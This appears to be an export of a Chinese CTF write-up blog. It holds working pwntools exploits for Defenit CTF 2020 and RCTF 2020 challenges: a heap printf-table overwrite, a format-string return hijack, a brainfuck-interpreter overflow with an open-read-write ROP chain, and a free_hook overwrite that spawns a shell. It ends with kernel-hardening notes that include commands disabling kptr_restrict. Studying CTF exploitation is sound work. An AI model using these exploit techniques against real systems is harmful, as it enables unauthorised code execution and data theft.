:io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)def malloc(idx,size): ru('YOUR CHOICE? :') sl('1') ru('INDEX? :') sl(str(idx)) ru('SIZE? :') sl(str(size))#size <= 0x776 || size > 0x77777def free(idx): ru('YOUR CHOICE? :') sl('2') ru('INDEX? :') sl(str(idx))def edit(idx,data): ru('YOUR CHOICE? :') sl('3') ru('INDEX? :') sl(str(idx)) ru("DATA : ") sl(data)def view(idx): ru('YOUR CHOICE? :') sl('4') ru('INDEX? :') sl(str(idx)) ru("DATA : ")def say(payload): ru('YOUR CHOICE? :') sl('1') ru('Input your payload : ') sl(str(payload))#define MAIN_ARENA 0x3ebc40#define MAIN_ARENA_DELTA 0x60#define GLOBAL_MAX_FAST 0x3ed940#define PRINTF_FUNCTABLE 0x3f0658#define PRINTF_ARGINFO 0x3ec870#define ONE_GADGET 0x10a38cMAIN_ARENA = 0x3ebc40MAIN_ARENA_DELTA= 0x60GLOBAL_MAX_FAST = 0x3ed940PRINTF_FUNCTABLE= 0x3f0658PRINTF_ARGINFO = 0x3ec870 #__printf_arginfo_tableoffset2size=lambda ofs:((ofs) * 2 - 0x10) ru('YOUR CHOICE? :')sl('3')malloc(0,0x800)malloc(1,offset2size(PRINTF_FUNCTABLE - MAIN_ARENA))malloc(2,offset2size(PRINTF_ARGINFO - MAIN_ARENA))#leak libcfree(0)view(0)libc.address=u64(r(8))-0x3ebca0print(hex(libc.address))#unsorted bin attack step 1global_max_fast=0x3ed940c=b''c+=p64(0)c+=p64(libc.address+global_max_fast-0x10)edit(0,c)#'%x' => onegadgetc=b''c=c.ljust((ord('x')-2)*8)c+=p64(libc.address+onegadgets[2])edit(2,c)#unsorted bin attack step 2malloc(3,0x800)free(1)#__printf_function_table => heap chunk 1free(2)#__printf_arginfo_table => heap chunk 2ru('YOUR CHOICE? :')sl('5')say('X'*0x108)io.interactive()</code></pre><h3 id="warmup"><a href="#warmup" class="headerlink" title="warmup"></a>warmup</h3><h4 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>存在格式化字符串漏洞,但是不是常规的printf函数,是snprintf函数,没有回显,无法泄露信息。另外程序使用exit退出,所以无法返回到栈上保存的vuln函数的返回地址。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200613220506361.png" alt="image-20200613220506361"></p><p>题目给了后门函数win,位于0xA14。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200613220445154.png" alt="image-20200613220445154"></p><h4 id="利用-1"><a href="#利用-1" class="headerlink" title="利用"></a>利用</h4><p>这里既然不能返回到vuln,可以尝试修改snprintf的返回地址。这里关闭aslr调试查看到,输入的数据是存放在0x7fffffffda20的,而0x7fffffffda60存放的是栈地址,可以拿来做一个跳板,修改位于0x7fffffffda18的snprintf的返回地址。还注意到snprintf的返回地址是0xa0a,而win函数的地址是0xa14,只需要修改末位即可。</p><p>![](/Users/apple/Library/Application Support/typora-user-images/image-20200613221247196.png)</p><p>exp</p><pre><code class="python">from pwn import*context.log_level = 'debug'context.arch = 'amd64'context.os = 'linux'binary='./warmup.dms'elf=ELF(binary)debug=1if debug: io=process(binary)else: io = remote("warmup.ctf.defenit.kr",3333)libc = ELF("./libc.so.6")s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)s('%20c%12$hhn'.ljust(0x40,'\x11')+'\x18')io.interactive()</code></pre><p>拿到flag。</p><p>![image-20200613222821210](/Users/apple/Library/Application Support/typora-user-images/image-20200613222821210.png)</p><h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="QR-Generator"><a href="#QR-Generator" class="headerlink" title="QR Generator"></a>QR Generator</h3><p>远程每次给一个0、1组成的二维码,1表示黑色,0表示白色,转换为二维码图片并识别二维码,循环100次即可。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200606154903393.png" alt="image-20200606154903393"></p><pre><code class="python">#Defenit{Welcome_to_the_2020_Defenit_CTF}from pwn import *context.log_level='debug'io=remote("qr-generator.ctf.defenit.kr" ,9000)s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)import zxingreader = zxing.BarCodeReader()ru("What is your Hero's name? ")sl('ook')while(1): io.recvuntil("< QR >\n") str1=ru("STAGE").decode("utf-8") print(str1.find('\n') ) length=int((str1.find('\n'))/2) print(length) str1=str1.replace(" ", "") str1=str1.replace("\n", "") import PIL from PIL import Image MAX = length img = Image.new("RGB",(MAX,MAX)) i = 0 for y in range (0,MAX): for x in range (0,MAX): if(str1[i] == '1'): img.putpixel([x,y],(0, 0, 0)) else: img.putpixel([x,y],(255,255,255)) i = i+1 #img.show() img.save("flag.png") barcode = reader.decode("./flag.png") print(barcode.parsed) ru('>>') sl(barcode.parsed) #io.interactive()</code></pre><h3 id="Baby-Steganography"><a href="#Baby-Steganography" class="headerlink" title="Baby Steganography"></a>Baby Steganography</h3><p>音频的sub bit隐写。</p><pre><code class="python">fd=open('problem.wav','br')data=fd.read()s=''for i in range(0,1515196): c=0 for j in range(8): c+=(data[i*8+j+4]&1)<<(7-j) s+=chr(c)f=open('ok4.txt','w+')f.write(s)#print(s)</code></pre><h2 id="RE"><a href="#RE" class="headerlink" title="RE"></a>RE</h2><h3 id="momsTouch"><a href="#momsTouch" class="headerlink" title="momsTouch"></a>momsTouch</h3><p>主逻辑如下,输入0x49长的字符串,通过check即可。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200606154248868.png" alt="image-20200606154248868"></p><p>check逻辑如下:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200606154322107.png" alt="image-20200606154322107"></p><p>其中bss段上的dword_80492ac是在这里初始化的。这里虽然用到了rand,但是c语言中的rand是伪随机数,所以其实是确定的。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200606154231728.png" alt="image-20200606154231728"></p><p>解题脚本如下:</p><pre><code class="python">#Defenit{ea40d42bfaf7d1f599abf284a35c535c607ccadbff38f7c39d6d57e238c4425e}bss=[]fakerand=[0x2e9f873e,0x27cc5aea,0x533a1b0e,0x4ce1353b,0x1320125e,0x23e7bdbb,0x39b10f0,0x1953215c,0x2edc89cc,0x46dcafa8,0x2ffb7dac,0x1f48f0b0,0x2521e3af,0x140c6324,0x6824010b,0x54067762,0x210bb862,0x2adcc3b9,0x1c746e96,0x5b20b010,0x71d49e08,0x43c9a7a8,0x13a73a4f,0x7cf87e0,0x3f3cdf68,0x13347389,0x334e9d3c,0x254edba8,0x412a8b11,0x35e5f0c7,0x16d16bb,0x6fca124f,0x5db24bb1,0x54a731c9,0x3cab478a,0x70d25e0f,0x788eef84,0x4046587b,0xa257f6c,0x276b7951,0x7230823,0x3a20fd18,0x46b46a01,0x2c44ebd2,0x4e2d603c,0x2ed86b0d,0x4b6334,0x6f39189f,0x59b52ec6,0x1cbfd1cb,0x4a59c8af,0x4b89ccce,0x60897973,0x5e0102ff,0x535954af,0x1fc658db,0x71357688,0x6a7f1eb,0x45153484,0x32600199,0x3c8de2b2,0x46824b3f,0x222a13e8,0x1a402e63,0x1b297d09,0x5ed55b73,0xb128c73,0x13b86c8d,0x1f1bb3ee,0x15380bdf,0x3b23e5de,0x263ebc11,0x4f5908f7,0x1d84fe0,0x5283a7e3,0x1d866934,0x30b0baed,0x52cf0b17,0xcbf81d3,0xa65e9b3,0x6f8edce2,0x57194a82,0x55efb681,0x50185656,0x351a4d81,0x29490b30,0x6fdeaf31,0x264fc40a,0x2ff0fd1b,0x34f3e3b5,0x58afc5a3,0x6c7edfcd,0x7b762ef5,0x7ad9d98c,0x6bf0e31,0x169fabfe,0x59af34ff,0x11d19aa4,0x2a58188b,0x78cae8ed,0x2709a683,0x657bfe6a,0x1f09a4fe,0x7662af7a,0x67544e4a,0x718d4ce1,0x13e918ae,0x18050937,0x445c57f8,0x20a89a81,0x226af2ea,0x33eb34db,0x77c1e504,0x785aa96b,0x4038b31,0x2cdc3285,0x21a3b49c,0x73e23a62,0x532bf68f,0x5194b1b7,0x28d61e18,0x2bdbbc33,0x3e139185,0x244c4d0d,0x26b595bf,0x44d29fb6,0x3aebf90b,0x64cabe,0x56a43a5a,0x65441196,0x792fb3ab,0x7dade0dd,0x4ac01000,0x183958a9,0x74109057,0x32145e4a,0x9c6a58a,0x7f9a906,0x4a196781,0x4e22fd82,0x28a24387,0x6c845a6b,0x20e325d,0x2064288b,0x64df03d7,0x611bd8e,0x4d405b11,0x682b873,0x79f3f7f1,0x206c51a0,0x58176a2a,0x22ca1609,0x4c480dd3,0x162afbaf,0x47166316,0x72fda392,0x5afd9b65,0x2025c21,0x73626e50,0x31a1d5bf,0x67466db7,0x6c9221fb,0x2f4fb69c,0x32067db8,0x4cb7aa4,0x236046f4,0x641adc02,0xe92202e,0x2b59effa,0x2e344384,0x5cb51db1,0x53fc3381,0x1ab89def,0x5ec3500e,0x74605c0d,0x7f97a1c6,0x64d50d9d,0x41a0b71e,0x61a5a39,0x5ec9058e,0x620d08be,0x5e31c464,0x1931b97,0x2e551692,0x745cc013,0x48a97ead,0x2152ba24,0x4f5a5b79,0x4aabdace,0x14b52875,0xfc3138,0x31f24885,0x1474a70,0x304be7d5,0x63f8c63d,0x612c515,0x53ac2ec9,0x4813a240,0x14a4e543,0x7f061ec3,0x7647e5c4,0x715a02f4,0x53025244,0x110083b3,0x501d5303,0x4762ae51,0x1098257a,0x34f260a0,0x903656f,0x16b27fb3,0x13bb662e,0x6b106e2e,0x74e44417,0x154e81c5,0x196584c0,0x6941042b,0x5df80072,0x3ab83ee4,0x389b5fa4,0x28a3db40,0x4f6d6759,0x399790dc,0x5a9623c5,0x50b4b1ca,0x69e378b1,0x3e8eea03,0x56c776df,0x3d8fa77a,0x6a28c43,0x6b6c5c22,0x3c95c63d,0x7cea7207,0x5cc65f17,0xf981882,0xdeaf5ba,0x2ce3b21a,0x56fac6d3,0x1e831b34,0x61d612ba,0x5ffe2c43,0x35359ae8,0x759178e8,0x4b0e9a71,0x2a19deff,0xadffaad,0x64741f31,0x135ae32a,0x68d7fb1f,0x1f2c5e15,0x4bf642ce,0x117bd65f,0x6e99c56f,0x58dd3ab,0x6c11fa24,0x3f4e7739,0x6f714c5c,0x2aa0e427,0x1615ee18,0x2d00f3d7,0x3143706a,0x1824a3a,0x6996ba14,0x2e2de271,0x5e48a951,0x792ed296,0x3c18d82c,0xb2c5b6b,0x5029996a,0x5a9bf360,0x6d026e25,0x3027c5ad,0xfd18e48,0x6293e70d,0x7b36601e,0x39eb6d48,0x6d73e1ba,0x5faa7f4f,0x4d465072,0x564bdcd9,0x7ed6dd64,0x193c9341,0x67c7b338,0x6d70a2d3,0x1eca66ec,0x53d9ad5d,0x2cbf1a0c,0xe3bb348,0x7e7a9184,0x42d50824,0x3b3ca71f,0x2fbe01ef,0x4457525f,0x24d36134,0x5debe460,0x229ffbb0,0x1e0233ca,0x1a04bc8c,0x2dcc571c,0x6e2bcd34,0x74a0afed,0x1acec541,0x1e5392e1,0x4723e35,0x7d62ac4f,0x1989f2ff,0x3e5dab7d,0x6ad68e09,0x7934724e,0xba3fbf0,0x41226ae3,0x780b4fb3,0x24e08f31,0x28ea1e1b,0x657bf286,0x43aaf61d,0x7cc3cb78,0x123b0c93,0x51e6a965,0x7b3e5cfd,0x551014b7,0xd235085,0x2afc5eec,0x19676716,0x31f6b1b9,0x8e8434c,0x3c0762c7,0x4ff8e583,0x22ecffd9,0x69d3b9e3,0x3e24b2b8,0x178dafc6,0x4a27f24,0x5c784599,0x1bffedfb,0x2052b73,0x76023899,0x5a5d9979]print(hex(fakerand[257]))#.index(0x1615ee18))for i in range(1,257): v1=fakerand[i] result = 255 * (v1 // 255) bss.append(v1-result)bss2=[ 186,28,4,248,59,168,156,124,142,152,129,137,9,85,208,238,197,253,71,80,162,70,223,99,46,81,56,254,106,242,160,90,148,229,73,98,55,31,121,216,84,28,229,104,187,240,96,100,15,73,205,125,169,253,2,125,202,3,50,128,197,75,61,233,116,141,61,138,44,178,48,120,196,0]flag=''for v1 in range(0x49): v2 =( ((16 * (bss[v1]&0xff))&0xff) | (bss[v1] >> 4)) v3 = fakerand[257+v1] a=(bss[(((4 * (v3 + v3 // 255))&0xff )| ((v3 % 255) >> 2))] ^ bss[v2] ^ bss2[v1] ) flag+=chr(a)print(flag)</code></pre>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>RCTF 2020 wp</title>
<link href="RCTF-wp/"/>
<url>RCTF-wp/</url>
<content type="html"><![CDATA[<h3 id="bf"><a href="#bf" class="headerlink" title="bf"></a>bf</h3><h4 id="1-程序分析"><a href="#1-程序分析" class="headerlink" title="1 程序分析"></a>1 程序分析</h4><p>题目是一个brainfuck的解释器,给的libc是2.27。brainfuck是一种简单的、可以用最小的编译器来实现的、符合图灵完全思想的编程语言。这种语言由八种运算符构成,除了指令还包括:<strong>一个以字节为单位、被初始化为零的数组</strong>、<strong>一个指向该数组的指针</strong>(初始时指向数组的第一个字节)、<strong>以及用于输入输出的两个字节流</strong>。</p><table><thead><tr><th align="center">字符</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center"><code>></code></td><td align="center">指针加一</td></tr><tr><td align="center"><code><</code></td><td align="center">指针减一</td></tr><tr><td align="center"><code>+</code></td><td align="center">指针指向的字节的值加一</td></tr><tr><td align="center"><code>-</code></td><td align="center">指针指向的字节的值减一</td></tr><tr><td align="center"><code>.</code></td><td align="center">输出指针指向的单元内容(ASCII码)</td></tr><tr><td align="center"><code>,</code></td><td align="center">输入内容到指针指向的单元(ASCII码)</td></tr><tr><td align="center"><code>[</code></td><td align="center">如果指针指向的单元值为零,向后跳转到对应的<code>]</code>指令的次一指令处</td></tr><tr><td align="center"><code>]</code></td><td align="center">如果指针指向的单元值不为零,向前跳转到对应的<code>[</code>指令的次一指令处</td></tr></tbody></table><p>题目逻辑是输入一段brainfuck代码,首先检查代码的语法正确与否,并在遇到<code>[</code>和<code>]</code>的时候分配堆空间保存其位置信息。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601105534328.png" alt="image-20200601105534328"></p><p>然后程序开始解释执行brainfuck代码。发现漏洞点在于,解释<code>></code>时,检查的是<code>v21 > &str</code>。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601104010563.png" alt="image-20200601104010563"></p><p>这里<code> v21</code>是<code>指向数组的指针</code>,<code>str</code>是指向输入的brainfuck代码,是C++的string类,<code>stack </code>是<code>被初始化为零的数组</code>,位于栈上大小为0x400。查看栈变量可以看到,<code> &str</code>就在<code> &stack</code>的后面。检查的是<code>v21 > &str</code>,说明<code> v21</code>可以和<code> &str</code>相等,也就是说能够溢出一字节到<code> str</code>,控制一字节代码的位置。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601105453482.png" alt="image-20200601105453482"></p><p>验证一下,输入<code>'>'*0x400+'.’</code>,果然能够输出<code> str</code>的最低一字节。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601113043518.png" alt="image-20200601113043518"></p><p>这里还有一个点,是string的混合内存优化策略:如果输入的代码长度小于等于15,那么string 的 raw data分配是在栈上的,如果代码长度大于15,那么raw data 就会被存在堆上。</p><p>部分源码如下:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601142504239.png" alt="image-20200601142504239"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601111607647.png" alt="image-20200601111607647"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601111741564.png" alt="image-20200601111741564"></p><h4 id="2-漏洞利用"><a href="#2-漏洞利用" class="headerlink" title="2 漏洞利用"></a>2 漏洞利用</h4><p>很明显在栈上构造利用链更容易,所以需要先构造一个短的、能右移0x400次的brainfuck代码,想到使用<code>[]</code>构造循环如下:</p><pre><code>+[>+],</code></pre><p>这样循环0x400次的时候,str基址会+1,就会跳过<code>]</code>执行<code>,</code>输入一个字节,这样就能控制str的最后一个字节了。接下来就可以很容易地通过控制这一字节泄露libc、修改返回地址。这里本来想直接修改返回地址到shell,但是程序开启了seccomp保护,限制了只能执行下面这几个函数。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601114757364.png" alt="image-20200601114757364"></p><p>虽然无法getshell了,但是可以构造orw rop链,完整exp如下:</p><pre><code class="python">#libc 2.27from pwn import*context.log_level = 'debug'context.arch = 'amd64'context.os = 'linux'binary='./bf.dms'elf=ELF(binary)debug=1if debug: io=process(binary) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") gadget=[0x4f2c5 ,0x4f322 ,0x10a38c,0xe569f ,0xe5858,0xe585f,0xe5863,0x10a398]else: io = remote("124.156.135.103",6002) libc=ELF('./libc.so') gadget=[324293, 324386, 1090444]s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)ru('enter your code:')payload='[]'sl(payload)ru('want to continue?')"""payload="+[>+]"+',.'payload='y'+payloadsl(payload)ru('running....\n')s('\xc0')ru('done! your code: ')stack=u64(r(6).ljust(8,b'\x00'))-0x520print(hex(stack))ru('want to continue?')"""#leak libcpayload="+[>+],."payload='y'+payloadsl(payload)ru('running....\n')s('\xd8')ru('done! your code: ')libc.address=u64(r(6).ljust(8,b'\x00'))-0x21b97print(hex(libc.address))ru('want to continue?')"""0x00000000000439c8 : pop rax ; ret0x000000000002155f : pop rdi ; ret0x0000000000023e6a : pop rsi ; ret0x0000000000001b96 : pop rdx ; ret///0x00000000001306d9 : pop rdx ; pop rsi ; ret"""rax_ret=libc.address+0x00000000000439c8rdi_ret=libc.address+0x000000000002155frsi_ret=libc.address+0x0000000000023e6ardx_rsi_ret=libc.address+0x00000000001306d9libc_bss=libc.address+ 0x3ebb40 #_IO_stdin_2_1和malloc_hook之间 libc可写libc_bss1=libc_bss-0x10#orw rop#read(fd=0,buf=libc_bss1,size=0x20)payload=b""payload += p64(rdi_ret) + p64(0x0)payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss1) payload += p64(libc.symbols['read'])# open(filename=libc_bss1, flags=0, mode=0)#flag=2权限不足payload += p64(rdi_ret) + p64(libc_bss1)payload += p64(rdx_rsi_ret) + p64(0)+p64(0x0)payload += p64(libc.symbols['open'])"""#syscall写法payload += p64(rax_ret) + p64(0x101)payload += p64(rdi_ret) + p64(0xffffff9c)payload += p64(rdx_rsi_ret) + p64(2)+p64(libc_bss)payload += p64(libc.address +0x10fd17)"""# read(fd=3,buf=libc_bss, size=0x20)payload += p64(rdi_ret) + p64(0x3)payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss) payload += p64(libc.symbols['read'])# write(fd=1,buf= libc_bss, size=0x20)payload += p64(rdi_ret) + p64(0x1)payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss)payload += p64(libc.symbols['write'])payload +=b"\x00\x00\x00+[>+],."#将str改回原值,否则报错payload=b'y'+payloadsl(payload)ru('running....\n')s('\xa0\xa0')ru('want to continue?')sl('n/flag\x00')io.interactive()</code></pre><p>本地是关了aslr调的,跑远程还得爆破一下,拿到flag。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601120025326.png" alt="image-20200601120025326"></p><h3 id="note"><a href="#note" class="headerlink" title="note"></a>note</h3><h4 id="1-程序分析-1"><a href="#1-程序分析-1" class="headerlink" title="1 程序分析"></a>1 程序分析</h4><p>常规堆题,由于编译优化,反汇编的结果比较混乱。看汇编代码可以看到下面有switch逻辑,共7个选项。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601121824721.png" alt="image-20200601121824721"></p><p>目录里却说只有五个。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601124329888.png" alt="image-20200601124329888"></p><p>伪代码里则完全没体现出来switch的逻辑。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601121852523.png" alt="image-20200601121852523"></p><p>所以被隐藏的两个功能很可能有漏洞,这里发现fun7可以在数组中写addr和size,并且size大小是size+0x20。配合edit功能就可以向addr里写0x20+字节。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601131029208.png" alt="image-20200601131029208"></p><p>结构体信息如下:</p><pre><code>00000000 info struc ; (sizeof=0x18, mappedto_6)00000000 addr dq ?00000008 size dq ?00000010 price dq ?00000018 info ends</code></pre><p>bss内存结构如下:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601125801211.png" alt="image-20200601125801211"></p><p>此外所有功能都有数组越界问题,只检查上界不检查下界,v1可以是负数。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601122505153.png" alt="image-20200601122505153"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601122529784.png" alt="image-20200601122529784"></p><h4 id="2-漏洞利用-1"><a href="#2-漏洞利用-1" class="headerlink" title="2 漏洞利用"></a>2 漏洞利用</h4><p>利用数组越界漏洞,泄露stdout的内容,得到libc基址,再使用fun7在bss段上设置addr和size,将addr设置为free_hook,通过edit将free_hook改为onegadget即可得到shell。</p><pre><code class="python">from pwn import*#libc 2.29context.log_level = 'debug'context.arch = 'amd64'context.os = 'linux'binary='./note.dms'elf=ELF(binary)debug=1if debug: io=process(binary) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") gadget=[945043, 945046 ,945049 ,1093545]else: io = remote("124.156.135.103",6004) libc=ELF('./libc.so.6') gadget=[926591, 926595 ,926598 ,1076984]s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)def new(idx,size): ru('Choice: ') sl('1') ru('Index: ') sl(str(idx)) ru('Size: ') sl(str(size))def sell(idx): ru('Choice: ') sl('2') ru('Index: ') sl(str(idx))def show(idx): ru('Choice: ') sl('3') ru('Index: ') sl(str(idx))def edit(idx,mess): ru('Choice: ') sl('4') ru('Index: ')#(idx 12) sl(str(idx)) ru('Message: ') s(mess)def fun7(idx,mess): ru('Choice: ') sl('7') ru('Index: ')#(idx 12) sl(str(idx)) ru('Message: ') s(mess)def fun6(supe): ru('Choice: ') sl('6') ru('Give a super name: \n') sl(supe)show(-5)bss=u64(r(8))+0x78print(hex(bss))r(16)libc.address=u64(r(8))-libc.symbols['_IO_2_1_stdout_']print(hex(libc.address))fun7(-5,p64(libc.symbols['__free_hook'])+p64(0x8)+p64(1))edit(-5,p64(libc.address+gadget[3]))sell(0)#gdb.attach(io)io.interactive()</code></pre><p>成功拿到shell。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200601124618932.png" alt="image-20200601124618932"></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>Linux kernel学习记录</title>
<link href="Linux-kernel/"/>
<url>Linux-kernel/</url>
<content type="html"><![CDATA[<p>本文是kernel调试的一点心得和总结。</p><h3 id="kernel保护模式"><a href="#kernel保护模式" class="headerlink" title="kernel保护模式"></a>kernel保护模式</h3><p>MMAP_MIN_ADDR : 不允许申请NULL地址 mmap(0,….)</p><p>kptr_restrict: 查看内核函数地址</p><pre><code>commit_creds和prepare_kernel_cred函数的地址都可以在 /proc/kallsyms 中查看(较老的内核版本中是 /proc/ksyms)。 一般情况下,/proc/kallsyms 的内容需要 root 权限才能查看head -n 10 /proc/kallsymsgrep commit_creds /proc/kallsyms grep prepare_kernel_cred /proc/kallsymsecho 0 > /proc/sys/kernel/kptr_restrict(设为1就看不了了)</code></pre><p>dmesg_restrict: 查看printk函数输出</p><pre><code>dmesgecho 0 > /proc/sys/kernel/dmesg_restrict(设为1dmesg就看不了了)</code></pre><p>SMEP: 内核状态下不允许执行用户态代码段</p><pre><code>grep smep /proc/cpuinfo 通过 qemu 启动内核时的选项可以判断是否开启了 smep 保护。 </code></pre><p>系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20211207230537.png"></p><p>SMAP: 内核模式下不允许访问用户态数据</p><p>KASLR: 内核加载地址随机化</p><h3 id="user-space-to-kernel-space"><a href="#user-space-to-kernel-space" class="headerlink" title="user space to kernel space"></a>user space to kernel space</h3><p>当发生系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换。</p><p>系统调用具体的过程为:</p><ol><li>通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换。<ol><li>[swapgs]<a href="https://stackoverflow.com/questions/62546189/where-i-should-use-swapgs-instruction">https://stackoverflow.com/questions/62546189/where-i-should-use-swapgs-instruction</a></li><li>[理解]内核给每一个进程保存了其单独的内核栈,而多个进程之间的内核空间又是共享的(这有一点像进程里的线程),在进入系统调用时,操作系统可以用 SwapGS 获取该进程的指向内核数据结构的指针,用户态进程就可以找到其内核栈的基址,然后在内核空间保存进程的用户栈基址。系统调用退出时,swapgs可以使用交换器来恢复用户的 GS 。</li><li>[理解]为啥不用gs直接保存rsp?可能除了rsp还有一些需要保存的变量吧</li><li>task_struct里不是保存了内核栈指针吗?可能因为还得找个地方把用户栈顶保存在内核空间里吧</li></ol></li><li>将当前栈顶(用户空间栈顶)记录在CPU 独占变量区域里(用gs为基址的),将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。</li><li>通过 push 保存各寄存器值。(其中有用户栈顶指针)<ol><li>也就是说,内核栈指针rsp会保存在CPU 独占变量区域,也会有一份在内核栈上。</li></ol></li><li>调用do_syscall_64,通过汇编指令判断是否为 x32_abi。</li><li>通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用;x32_abi的话就调用x32_sys_call_table。</li></ol><h3 id="kernel-space-to-user-space"><a href="#kernel-space-to-user-space" class="headerlink" title="kernel space to user space"></a>kernel space to user space</h3><p>退出时,流程如下:</p><ol><li>通过 swapgs 恢复 GS 值</li><li>通过 sysretq 或者 iretq 恢复到用户空间继续执行。<ol><li>sysretq时恢复的栈指针是用gs基址寻址的。</li><li>iretq时会将内核空间保存的寄存器拷贝到用户空间,所以恢复的用户栈指针是之前内核栈中保存的。所以exp中使用 iretq 需要在用户栈中有这些信息(CS, SS,eflags/rflags, esp/rsp 等)。</li></ol></li></ol><p>系统调用代码:</p><pre><code>//linux 5.4.94 ./arch/x86/entry/entry_64.SENTRY(entry_SYSCALL_64) UNWIND_HINT_EMPTY /* * Interrupts are off on entry. //中断在syscall入口时就被禁止了 * We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON, * it is too small to ever cause noticeable irq latency. */ swapgs //设为kernel的gs 另存用户gs /* tss.sp2 is scratch space. */ movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)//保存用户栈顶指针rsp PER_CPU_VAR在x64下以gs为基址寻址,其他以fs为基址寻址 SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp //保存用户栈顶指针rsp 还不知道为啥 //sratch space 好像是内存 定义:在硬盘上的一块记忆空间,只提供暂时的资料储存,不能被用来储存可以被永久备份的档案。 movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp//设置rsp为内核栈顶指针//在内核栈里保存用户的通用寄存器,形成一个pt_regs结构 /* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */GLOBAL(entry_SYSCALL_64_after_hwframe) pushq %rax /* pt_regs->orig_ax */ PUSH_AND_CLEAR_REGS rax=$-ENOSYS TRACE_IRQS_OFF /* IRQs are off. */ movq %rax, %rdi movq %rsp, %rsi call do_syscall_64 /* returns with IRQs disabled *///do_syscall_64 跳到全局变量 sys_call_table 相应位置继续执行系统调用 TRACE_IRQS_IRETQ /* we're about to change IF */ /* * Try to use SYSRET instead of IRET if we're returning to * a completely clean 64-bit userspace context. If we're not, * go to the slow exit path. */ //下面检查了一堆寄存器,如果有一个检查失败,就调用swapgs_restore_regs_and_return_to_usermode用iret返回, //检查全通过了就用SYSRET返回 movq RCX(%rsp), %rcx movq RIP(%rsp), %r11 cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */ jne swapgs_restore_regs_and_return_to_usermode //swapgs_restore_regs_and_return_to_usermode 的流程 //1.取回用户rsp,2.把之前内核栈上保存的通用寄存器push到用户栈上 //3.SWITCH_TO_USER_CR3_STACK scratch_reg=内核栈顶指针 4. SWAPGS 5. iret返回 /* * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP 